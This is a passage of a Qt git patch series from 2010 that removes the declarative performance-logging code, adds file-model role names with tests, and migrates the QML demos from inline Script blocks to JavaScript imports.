a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef QFXPERF_H -#define QFXPERF_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "qperformancelog_p_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -QT_MODULE(Declarative) - -Q_DECLARE_PERFORMANCE_LOG(QDeclarativePerf) { - Q_DECLARE_PERFORMANCE_METRIC(QDeclarativeParsing) - - Q_DECLARE_PERFORMANCE_METRIC(Compilation) - Q_DECLARE_PERFORMANCE_METRIC(VMEExecution) - - Q_DECLARE_PERFORMANCE_METRIC(BindInit) - Q_DECLARE_PERFORMANCE_METRIC(BindValue) - Q_DECLARE_PERFORMANCE_METRIC(BindValueSSE) - Q_DECLARE_PERFORMANCE_METRIC(BindValueQt) - Q_DECLARE_PERFORMANCE_METRIC(BindableValueUpdate) - Q_DECLARE_PERFORMANCE_METRIC(PixmapLoad) - Q_DECLARE_PERFORMANCE_METRIC(FontDatabase) - Q_DECLARE_PERFORMANCE_METRIC(QDeclarativePathViewPathCache) - Q_DECLARE_PERFORMANCE_METRIC(CreateParticle) - Q_DECLARE_PERFORMANCE_METRIC(ItemComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(ImageComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(BaseLayoutComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(TextComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(QDeclarativeText_setText) - Q_DECLARE_PERFORMANCE_METRIC(AddScript) -} - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QFXPERF_H diff --git a/src/declarative/util/qperformancelog.cpp b/src/declarative/util/qperformancelog.cpp deleted file mode 100644 index 83cc919..0000000 --- a/src/declarative/util/qperformancelog.cpp +++ /dev/null @@ -1,181 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qperformancelog_p_p.h" - -#include -#include - -QT_BEGIN_NAMESPACE - -#ifdef Q_ENABLE_PERFORMANCE_LOG - -struct QPerformanceLogData -{ - struct Log - { - Log() - : logDescription(0), maxId(-1) {} - - QHash descriptions; - const char *logDescription; - int maxId; - }; - - typedef QHash Logs; - Logs logs; -}; -Q_GLOBAL_STATIC(QPerformanceLogData, performanceLogData); - -QPerformanceLog::LogData::LogData(const char *desc) -: sumTime(0), data(0) -{ - QPerformanceLogData *logData = performanceLogData(); - - QPerformanceLogData::Log log; - log.logDescription = desc; - logData->logs.insert(this, log); - - timer.start(); -} - -QPerformanceLog::LogMetric::LogMetric(LogData *l, int id, const char *desc) -{ - if (id < 0) - qFatal("QPerformanceLog: Invalid log id %d ('%s')", id, desc); - - QPerformanceLogData *logData = performanceLogData(); - - QPerformanceLogData::Logs::Iterator logIter = logData->logs.find(l); - if (logIter == logData->logs.end()) - qFatal("QPerformanceLog: Unable to locate log for metric '%s'", desc); - QPerformanceLogData::Log &log = *logIter; - if (log.descriptions.contains(id)) - qFatal("QPerformanceLog: Duplicate log metric %d ('%s')", id, desc); - log.descriptions.insert(id, desc); - - if (log.maxId < id) { - log.maxId = id; - if (l->data) delete [] l->data; - l->data = new unsigned int[2 * (log.maxId + 1)]; - ::memset(l->data, 0, 2 * (log.maxId + 1) * sizeof(unsigned int)); - } -} - -static void QPerformanceLog_clear(QPerformanceLog::LogData *l, const QPerformanceLogData::Log *pl) -{ - ::memset(l->data, 0, 2 * (pl->maxId + 1) * sizeof(unsigned int)); -} - -static void QPerformanceLog_displayData(const QPerformanceLog::LogData *l, const QPerformanceLogData::Log *pl) -{ - qWarning() << pl->logDescription << "performance data"; - unsigned int total = 0; - for (QHash::ConstIterator iter = pl->descriptions.begin(); - iter != pl->descriptions.end(); - ++iter) { - - int id = iter.key(); - unsigned int ms = l->data[id * 2]; - total += ms; - unsigned int inst = l->data[id * 2 + 1]; - float pi = float(ms) / float(inst); - qWarning().nospace() << " " << *iter << ": " << ms << " ms over " - << inst << " instances (" << pi << " ms/instance)"; - } - qWarning().nospace() << " TOTAL: " << total; -} - -void QPerformanceLog::displayData() -{ - QPerformanceLogData *logData = performanceLogData(); - - for (QPerformanceLogData::Logs::ConstIterator iter = logData->logs.begin(); - iter != logData->logs.end(); - ++iter) { - QPerformanceLog_displayData(iter.key(), &(*iter)); - } -} - -void QPerformanceLog::clear() -{ - QPerformanceLogData *logData = performanceLogData(); - - for (QPerformanceLogData::Logs::ConstIterator iter = logData->logs.begin(); - iter != logData->logs.end(); - ++iter) { - QPerformanceLog_clear(iter.key(), &(*iter)); - } -} - -void QPerformanceLog::displayData(LogData *l) -{ - QPerformanceLogData *logData = performanceLogData(); - QPerformanceLogData::Logs::ConstIterator iter = logData->logs.find(l); - if (iter == logData->logs.end()) - qFatal("QPerformanceLog: Internal corruption - unable to locate log"); - - QPerformanceLog_displayData(iter.key(), &(*iter)); -} - -void QPerformanceLog::clear(LogData *l) -{ - QPerformanceLogData *logData = performanceLogData(); - QPerformanceLogData::Logs::ConstIterator iter = logData->logs.find(l); - if (iter == logData->logs.end()) - qFatal("QPerformanceLog: Internal corruption - unable to locate log"); - - QPerformanceLog_clear(iter.key(), &(*iter)); -} - -#else // Q_ENABLE_PERFORMANCE_LOG - -void QPerformanceLog::displayData() -{ -} - -void QPerformanceLog::clear() -{ -} - -#endif // Q_ENABLE_PERFORMANCE_LOG - -QT_END_NAMESPACE diff --git a/src/declarative/util/qperformancelog_p_p.h b/src/declarative/util/qperformancelog_p_p.h deleted file mode 100644 index a212f28..0000000 --- a/src/declarative/util/qperformancelog_p_p.h +++ /dev/null @@ -1,141 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QPERFORMANCELOG_H -#define QPERFORMANCELOG_H - -#include - -QT_BEGIN_NAMESPACE - -namespace QPerformanceLog -{ - Q_DECLARATIVE_EXPORT void displayData(); - Q_DECLARATIVE_EXPORT void clear(); - -#ifdef Q_ENABLE_PERFORMANCE_LOG - struct LogData { - LogData(const char *); - QTime timer; - int sumTime; - unsigned int *data; - }; - - struct LogMetric { - LogMetric(LogData *, int, const char *); - }; - - // Internal - void displayData(LogData *); - void clear(LogData *); -#endif -} - -#ifdef Q_ENABLE_PERFORMANCE_LOG - -#define Q_DECLARE_PERFORMANCE_METRIC(name) \ - enum { name = ValueChoice<0, ValueTracker<0, __LINE__>::value, __LINE__>::value }; \ - template \ - struct ValueTracker \ - { \ - enum { value = name }; \ - }; \ - extern QPerformanceLog::LogMetric metric ## name; - -#define Q_DECLARE_PERFORMANCE_LOG(name) \ - namespace name { \ - extern QPerformanceLog::LogData log; \ - inline void displayData() { QPerformanceLog::displayData(&log); } \ - inline void clear() { QPerformanceLog::clear(&log); } \ - } \ - template \ - class name ## Timer { \ - public: \ - name ## Timer() { \ - lastSum = name::log.sumTime + name::log.timer.restart(); \ - name::log.sumTime = 0; \ - } \ - ~ name ## Timer() { \ - name::log.data[2 * N] += name::log.sumTime + name::log.timer.restart(); \ - ++name::log.data[2 * N + 1]; \ - name::log.sumTime = lastSum; \ - } \ - private: \ - int lastSum; \ - }; \ - namespace name { \ - template \ - struct ValueTracker \ - { \ - enum { value = -1 }; \ - }; \ - template \ - struct ValueChoice \ - { \ - enum { value = ValueChoice::value, L>::value }; \ - }; \ - template \ - struct ValueChoice \ - { \ - enum { value = DefNextValue }; \ - }; \ - } \ - namespace name - -#define Q_DEFINE_PERFORMANCE_LOG(name, desc) \ - QPerformanceLog::LogData name::log(desc); \ - namespace name - -#define Q_DEFINE_PERFORMANCE_METRIC(name, desc) \ - QPerformanceLog::LogMetric metrix ## name(&log, name, desc); - -#else // Q_ENABLE_PERFORMANCE_LOG - -#define Q_DECLARE_PERFORMANCE_METRIC(name) -#define Q_DECLARE_PERFORMANCE_LOG(name) namespace name -#define Q_DEFINE_PERFORMANCE_LOG(name, desc) namespace name -#define Q_DEFINE_PERFORMANCE_METRIC(name, desc) - -#endif // Q_ENABLE_PERFORMANCE_LOG - -QT_END_NAMESPACE - -#endif // QPERFORMANCELOG_H diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index ddf00ea..61b4f6f 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -3,8 +3,6 @@ INCLUDEPATH += $$PWD SOURCES += \ $$PWD/qdeclarativeutilmodule.cpp\ $$PWD/qdeclarativeview.cpp \ - $$PWD/qfxperf.cpp \ - $$PWD/qperformancelog.cpp \ $$PWD/qdeclarativeconnections.cpp \ $$PWD/qdeclarativepackage.cpp \ $$PWD/qdeclarativeanimation.cpp \ @@ -33,8 +31,6 @@ SOURCES += \ HEADERS += \ $$PWD/qdeclarativeutilmodule_p.h\ $$PWD/qdeclarativeview.h \ - $$PWD/qfxperf_p_p.h \ - $$PWD/qperformancelog_p_p.h \ $$PWD/qdeclarativeconnections_p.h \ $$PWD/qdeclarativepackage_p.h \ $$PWD/qdeclarativeanimation_p.h \ diff --git a/src/imports/particles/qdeclarativeparticles.cpp b/src/imports/particles/qdeclarativeparticles.cpp index bb6669a..83be59b 100644 --- a/src/imports/particles/qdeclarativeparticles.cpp +++ b/src/imports/particles/qdeclarativeparticles.cpp @@ -44,7 +44,6 @@ #include #include -#include #include #include @@ -567,9 +566,6 @@ void QDeclarativeParticlesPrivate::tick(int time) void QDeclarativeParticlesPrivate::createParticle(int time) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer x; -#endif Q_Q(QDeclarativeParticles); QDeclarativeParticle p(time); p.x = q->x() + q->width() * qreal(qrand()) / RAND_MAX - image.width()/2.0; diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index 6660947..d4ceb0b 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -51,7 +51,6 @@ #include #include #include "qdeclarative.h" -#include #include #include #include "deviceskin.h" @@ -1221,7 +1220,6 @@ void QDeclarativeViewer::keyPressEvent(QKeyEvent *event) << "F5 - reload QML\n" << "F6 - show object tree\n" << "F7 - show timing\n" - << "F8 - show performance (if available)\n" << "F9 - toggle video recording\n" << "F10 - toggle orientation\n" << "device keys: 0=quit, 1..8=F1..F8" @@ -1233,9 +1231,6 @@ void QDeclarativeViewer::keyPressEvent(QKeyEvent *event) takeSnapShot(); } else if (event->key() == Qt::Key_F5 || (event->key() == Qt::Key_5 && devicemode)) { reload(); - } else if (event->key() == Qt::Key_F8 || (event->key() == Qt::Key_8 && devicemode)) { - QPerformanceLog::displayData(); - QPerformanceLog::clear(); } else if (event->key() == Qt::Key_F9 || (event->key() == Qt::Key_9 && devicemode)) { toggleRecording(); } else if (event->key() == Qt::Key_F10) { -- cgit v0.12 From e338b7efadc24619129e421aea31e06b948b0f12 Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Mon, 22 Mar 2010 13:26:45 +1000 Subject: Removed wrong parenthesis around property NOTIFY declaration --- src/declarative/util/qdeclarativeanimation_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index eb339f6..925eb36 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -72,7 +72,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeAbstractAnimation : public QObject, public Q Q_INTERFACES(QDeclarativePropertyValueSource) Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) - Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged()) + Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) Q_PROPERTY(bool repeat READ repeat WRITE setRepeat NOTIFY repeatChanged) Q_CLASSINFO("DefaultMethod", "start()") -- cgit v0.12 From c1958338bb94f045c846147bdb7224377a2122a6 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 14:09:20 +1000 Subject: Set role names for QFileSystemModel and QDirModel Task-number: QTBUG-7479 Reviewed-by: Alexis Menard --- src/gui/dialogs/qfilesystemmodel.cpp | 7 ++++++ src/gui/itemviews/qdirmodel.cpp | 6 +++++ tests/auto/qdirmodel/tst_qdirmodel.cpp | 28 +++++++++++++++++++++ .../auto/qfilesystemmodel/tst_qfilesystemmodel.cpp | 29 ++++++++++++++++++++++ 4 files changed, 70 insertions(+) diff --git a/src/gui/dialogs/qfilesystemmodel.cpp b/src/gui/dialogs/qfilesystemmodel.cpp index ba0a560..2f1933c 100644 --- a/src/gui/dialogs/qfilesystemmodel.cpp +++ b/src/gui/dialogs/qfilesystemmodel.cpp @@ -1896,6 +1896,13 @@ void QFileSystemModelPrivate::init() q->connect(&fileInfoGatherer, SIGNAL(directoryLoaded(QString)), q, SIGNAL(directoryLoaded(QString))); q->connect(&delayedSortTimer, SIGNAL(timeout()), q, SLOT(_q_performDelayedSort()), Qt::QueuedConnection); + + QHash roles = q->roleNames(); + roles.insertMulti(QFileSystemModel::FileIconRole, "fileIcon"); // == Qt::decoration + roles.insert(QFileSystemModel::FilePathRole, "filePath"); + roles.insert(QFileSystemModel::FileNameRole, "fileName"); + roles.insert(QFileSystemModel::FilePermissions, "filePermissions"); + q->setRoleNames(roles); } /*! diff --git a/src/gui/itemviews/qdirmodel.cpp b/src/gui/itemviews/qdirmodel.cpp index 378a238..48599bc 100644 --- a/src/gui/itemviews/qdirmodel.cpp +++ b/src/gui/itemviews/qdirmodel.cpp @@ -1182,12 +1182,18 @@ QFileInfo QDirModel::fileInfo(const QModelIndex &index) const void QDirModelPrivate::init() { + Q_Q(QDirModel); filters = QDir::AllEntries | QDir::NoDotAndDotDot; sort = QDir::Name; nameFilters << QLatin1String("*"); root.parent = 0; root.info = QFileInfo(); clear(&root); + QHash roles = q->roleNames(); + roles.insertMulti(QDirModel::FileIconRole, "fileIcon"); // == Qt::decoration + roles.insert(QDirModel::FilePathRole, "filePath"); + roles.insert(QDirModel::FileNameRole, "fileName"); + q->setRoleNames(roles); } QDirModelPrivate::QDirNode *QDirModelPrivate::node(int row, QDirNode *parent) const diff --git a/tests/auto/qdirmodel/tst_qdirmodel.cpp b/tests/auto/qdirmodel/tst_qdirmodel.cpp index d7f0112..1bc5b7f 100644 --- a/tests/auto/qdirmodel/tst_qdirmodel.cpp +++ b/tests/auto/qdirmodel/tst_qdirmodel.cpp @@ -106,6 +106,9 @@ private slots: void filter(); void task244669_remove(); + + void roleNames_data(); + void roleNames(); }; // Testing get/set functions @@ -681,5 +684,30 @@ void tst_QDirModel::task244669_remove() QCOMPARE(parent.data() , model.index(SRCDIR "dirtest").data()); } +void tst_QDirModel::roleNames_data() +{ + QTest::addColumn("role"); + QTest::addColumn("roleName"); + QTest::newRow("decoration") << int(Qt::DecorationRole) << QByteArray("decoration"); + QTest::newRow("display") << int(Qt::DisplayRole) << QByteArray("display"); + QTest::newRow("fileIcon") << int(QDirModel::FileIconRole) << QByteArray("fileIcon"); + QTest::newRow("filePath") << int(QDirModel::FilePathRole) << QByteArray("filePath"); + QTest::newRow("fileName") << int(QDirModel::FileNameRole) << QByteArray("fileName"); +} + +void tst_QDirModel::roleNames() +{ + QDirModel model; + QHash roles = model.roleNames(); + + QFETCH(int, role); + QVERIFY(roles.contains(role)); + + QFETCH(QByteArray, roleName); + QList values = roles.values(role); + QVERIFY(values.contains(roleName)); +} + + QTEST_MAIN(tst_QDirModel) #include "tst_qdirmodel.moc" diff --git a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp index 9f67a5e..c234c96 100644 --- a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp +++ b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp @@ -137,6 +137,10 @@ private slots: void drives_data(); void drives(); void dirsBeforeFiles(); + + void roleNames_data(); + void roleNames(); + protected: bool createFiles(const QString &test_path, const QStringList &initial_files, int existingFileCount = 0, const QStringList &intial_dirs = QStringList(), const QString &baseDir = QDir::temp().absolutePath()); @@ -1016,6 +1020,31 @@ void tst_QFileSystemModel::dirsBeforeFiles() } } +void tst_QFileSystemModel::roleNames_data() +{ + QTest::addColumn("role"); + QTest::addColumn("roleName"); + QTest::newRow("decoration") << int(Qt::DecorationRole) << QByteArray("decoration"); + QTest::newRow("display") << int(Qt::DisplayRole) << QByteArray("display"); + QTest::newRow("fileIcon") << int(QFileSystemModel::FileIconRole) << QByteArray("fileIcon"); + QTest::newRow("filePath") << int(QFileSystemModel::FilePathRole) << QByteArray("filePath"); + QTest::newRow("fileName") << int(QFileSystemModel::FileNameRole) << QByteArray("fileName"); + QTest::newRow("filePermissions") << int(QFileSystemModel::FilePermissions) << QByteArray("filePermissions"); +} + +void tst_QFileSystemModel::roleNames() +{ + QFileSystemModel model; + QHash roles = model.roleNames(); + + QFETCH(int, role); + QVERIFY(roles.contains(role)); + + QFETCH(QByteArray, roleName); + QList values = roles.values(role); + QVERIFY(values.contains(roleName)); +} + QTEST_MAIN(tst_QFileSystemModel) #include "tst_qfilesystemmodel.moc" -- cgit v0.12 From 42de973ff156383beed62a6b1bce70b56b360078 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 14:48:47 +1000 Subject: Update metaobjectbuilder version test. Task-number: QT-2918 --- .../declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp index c1dc924..8ba9d45 100644 --- a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp +++ b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp @@ -139,10 +139,10 @@ void tst_QMetaObjectBuilder::mocVersionCheck() // It is intended as a reminder to also update QMetaObjectBuilder // whenenver moc changes. Once QMetaObjectBuilder has been // updated, this test can be changed to check for the next version. - QEXPECT_FAIL("", "QT-2918", Continue); - QCOMPARE(int(QObject::staticMetaObject.d.data[0]), 4); - QEXPECT_FAIL("", "QT-2918", Continue); - QCOMPARE(int(staticMetaObject.d.data[0]), 4); + int version = int(QObject::staticMetaObject.d.data[0]); + QVERIFY(version == 4 || version == 5); + version = int(staticMetaObject.d.data[0]); + QVERIFY(version == 4 || version == 5); } void tst_QMetaObjectBuilder::create() -- cgit v0.12 From 888d29c9c138ca3d698985f090ceb3db912ade0f Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 22 Mar 2010 15:34:41 +1000 Subject: Deprecate inline Script {} blocks Inline blocks/includes have been replaced with an import syntax: import "foo.js" as Foo this gives better separation between QML and code. Imported script blocks also have a mandatory qualifier, which leads to better optimization potential. --- demos/declarative/calculator/calculator.js | 2 +- demos/declarative/calculator/calculator.qml | 4 +- demos/declarative/flickr/flickr-desktop.qml | 28 ++-- demos/declarative/flickr/mobile/GridDelegate.qml | 24 ++-- demos/declarative/flickr/mobile/TitleBar.qml | 14 +- .../photoviewer/PhotoViewerCore/PhotoDelegate.qml | 9 +- .../photoviewer/PhotoViewerCore/script/script.js | 2 + demos/declarative/photoviewer/photoviewer.qml | 2 - .../declarative/samegame/SamegameCore/samegame.js | 5 - demos/declarative/samegame/samegame.qml | 15 +- demos/declarative/snake/content/HighScoreModel.qml | 26 ++-- demos/declarative/snake/snake.qml | 27 ++-- .../webbrowser/content/FlickableWebView.qml | 24 ++-- .../webbrowser/content/fieldtext/FieldText.qml | 38 +++-- examples/declarative/dynamic/qml/PaletteItem.qml | 8 +- examples/declarative/sql/hello.qml | 35 +++-- examples/declarative/tic-tac-toe/tic-tac-toe.qml | 154 +-------------------- examples/declarative/webview/content/FieldText.qml | 38 +++-- .../declarative/webview/content/SpinSquare.qml | 2 +- src/declarative/qml/qdeclarativecompiler.cpp | 47 ++++++- src/declarative/qml/qdeclarativecomponent.cpp | 5 + src/declarative/qml/qdeclarativecomponent_p.h | 2 +- .../qml/qdeclarativecompositetypedata_p.h | 9 ++ .../qml/qdeclarativecompositetypemanager.cpp | 29 ++++ src/declarative/qml/qdeclarativecontext.cpp | 69 +++++++++ src/declarative/qml/qdeclarativecontext_p.h | 2 + .../qml/qdeclarativecontextscriptclass.cpp | 16 ++- src/declarative/qml/qdeclarativeengine.cpp | 6 +- src/declarative/qml/qdeclarativeengine_p.h | 8 +- src/declarative/qml/qdeclarativeinstruction.cpp | 3 + src/declarative/qml/qdeclarativeinstruction_p.h | 1 + src/declarative/qml/qdeclarativeparser_p.h | 9 ++ src/declarative/qml/qdeclarativescriptparser.cpp | 130 ++++++++++++++++- src/declarative/qml/qdeclarativescriptparser_p.h | 4 +- src/declarative/qml/qdeclarativetypenamecache.cpp | 15 ++ src/declarative/qml/qdeclarativetypenamecache_p.h | 4 +- src/declarative/qml/qdeclarativevme.cpp | 13 +- tools/qml/content/Browser.qml | 58 ++++---- 38 files changed, 521 insertions(+), 366 deletions(-) diff --git a/demos/declarative/calculator/calculator.js b/demos/declarative/calculator/calculator.js index cd6490a..f172daf 100644 --- a/demos/declarative/calculator/calculator.js +++ b/demos/declarative/calculator/calculator.js @@ -14,7 +14,7 @@ function disabled(op) { } } -function doOp(op) { +function doOperation(op) { if (disabled(op)) { return; } diff --git a/demos/declarative/calculator/calculator.qml b/demos/declarative/calculator/calculator.qml index 66705e2..1644968 100644 --- a/demos/declarative/calculator/calculator.qml +++ b/demos/declarative/calculator/calculator.qml @@ -1,10 +1,12 @@ import Qt 4.6 +import "calculator.js" as CalcEngine Rectangle { width: 320; height: 270; color: palette.window + function doOp(operation) { CalcEngine.doOperation(operation); } + SystemPalette { id: palette } - Script { source: "calculator.js" } Column { x: 2; spacing: 10; diff --git a/demos/declarative/flickr/flickr-desktop.qml b/demos/declarative/flickr/flickr-desktop.qml index 99216cb..4de2202 100644 --- a/demos/declarative/flickr/flickr-desktop.qml +++ b/demos/declarative/flickr/flickr-desktop.qml @@ -31,21 +31,19 @@ Item { } } - Script { - function photoClicked() { - imageDetails.photoTitle = title; - imageDetails.photoDescription = description; - imageDetails.photoTags = tags; - imageDetails.photoWidth = photoWidth; - imageDetails.photoHeight = photoHeight; - imageDetails.photoType = photoType; - imageDetails.photoAuthor = photoAuthor; - imageDetails.photoDate = photoDate; - imageDetails.photoUrl = url; - imageDetails.rating = 0; - wrapper.state = "Details"; - } - } + function photoClicked() { + imageDetails.photoTitle = title; + imageDetails.photoDescription = description; + imageDetails.photoTags = tags; + imageDetails.photoWidth = photoWidth; + imageDetails.photoHeight = photoHeight; + imageDetails.photoType = photoType; + imageDetails.photoAuthor = photoAuthor; + imageDetails.photoDate = photoDate; + imageDetails.photoUrl = url; + imageDetails.rating = 0; + wrapper.state = "Details"; + } Rectangle { id: whiteRect; anchors.fill: parent; color: "white"; radius: 5 diff --git a/demos/declarative/flickr/mobile/GridDelegate.qml b/demos/declarative/flickr/mobile/GridDelegate.qml index 291d874..767315c 100644 --- a/demos/declarative/flickr/mobile/GridDelegate.qml +++ b/demos/declarative/flickr/mobile/GridDelegate.qml @@ -5,19 +5,17 @@ Item { id: wrapper; width: 79; height: 79 - Script { - function photoClicked() { - imageDetails.photoTitle = title; - imageDetails.photoTags = tags; - imageDetails.photoWidth = photoWidth; - imageDetails.photoHeight = photoHeight; - imageDetails.photoType = photoType; - imageDetails.photoAuthor = photoAuthor; - imageDetails.photoDate = photoDate; - imageDetails.photoUrl = url; - imageDetails.rating = 0; - scaleMe.state = "Details"; - } + function photoClicked() { + imageDetails.photoTitle = title; + imageDetails.photoTags = tags; + imageDetails.photoWidth = photoWidth; + imageDetails.photoHeight = photoHeight; + imageDetails.photoType = photoType; + imageDetails.photoAuthor = photoAuthor; + imageDetails.photoDate = photoDate; + imageDetails.photoUrl = url; + imageDetails.rating = 0; + scaleMe.state = "Details"; } Item { diff --git a/demos/declarative/flickr/mobile/TitleBar.qml b/demos/declarative/flickr/mobile/TitleBar.qml index 0a06771..e92ba59 100644 --- a/demos/declarative/flickr/mobile/TitleBar.qml +++ b/demos/declarative/flickr/mobile/TitleBar.qml @@ -11,12 +11,10 @@ Item { id: container width: (parent.width * 2) - 55 ; height: parent.height - Script { - function accept() { - titleBar.state = "" - background.state = "" - rssModel.tags = editor.text - } + function accept() { + titleBar.state = "" + background.state = "" + rssModel.tags = editor.text } Text { @@ -32,7 +30,7 @@ Item { Button { id: tagButton; x: titleBar.width - 50; width: 45; height: 32; text: "..." - onClicked: if (titleBar.state == "Tags") accept(); else titleBar.state = "Tags" + onClicked: if (titleBar.state == "Tags") container.accept(); else titleBar.state = "Tags" anchors.verticalCenter: parent.verticalCenter } @@ -57,7 +55,7 @@ Item { Item { id: returnKey - Keys.onReturnPressed: accept() + Keys.onReturnPressed: container.accept() Keys.onEscapePressed: titleBar.state = "" } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index 89fe3e8..ab36122 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -1,4 +1,5 @@ import Qt 4.6 +import "script/script.js" as Script Package { Item { id: stackItem; Package.name: 'stack'; width: 160; height: 153; z: stackItem.PathView.z } @@ -28,9 +29,9 @@ Package { Rectangle { id: placeHolder - property int w: getWidth(content) - property int h: getHeight(content) - property double s: calculateScale(w, h, photoWrapper.width) + property int w: Script.getWidth(content) + property int h: Script.getHeight(content) + property double s: Script.calculateScale(w, h, photoWrapper.width) color: '#878787'; anchors.centerIn: parent; smooth: true; border.color: 'white'; border.width: 3 width: w * s; height: h * s; visible: originalImage.status != Image.Ready @@ -42,7 +43,7 @@ Package { } BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready } Image { - id: originalImage; smooth: true; source: "http://" + getImagePath(content) + id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content) fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Image { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/script/script.js b/demos/declarative/photoviewer/PhotoViewerCore/script/script.js index ae24ea1..e8ef93a 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/script/script.js +++ b/demos/declarative/photoviewer/PhotoViewerCore/script/script.js @@ -1,3 +1,5 @@ +.pragma library + function getWidth(string) { return (string.match(/width=\"([0-9]+)\"/))[1] } diff --git a/demos/declarative/photoviewer/photoviewer.qml b/demos/declarative/photoviewer/photoviewer.qml index 02134ac..5e4be4c 100644 --- a/demos/declarative/photoviewer/photoviewer.qml +++ b/demos/declarative/photoviewer/photoviewer.qml @@ -10,8 +10,6 @@ Rectangle { width: 800; height: 480; color: "#d5d6d8" - Script { source: "PhotoViewerCore/script/script.js" } - ListModel { id: photosModel ListElement { tag: "Flowers" } diff --git a/demos/declarative/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/SamegameCore/samegame.js index 1214b79..a119a88 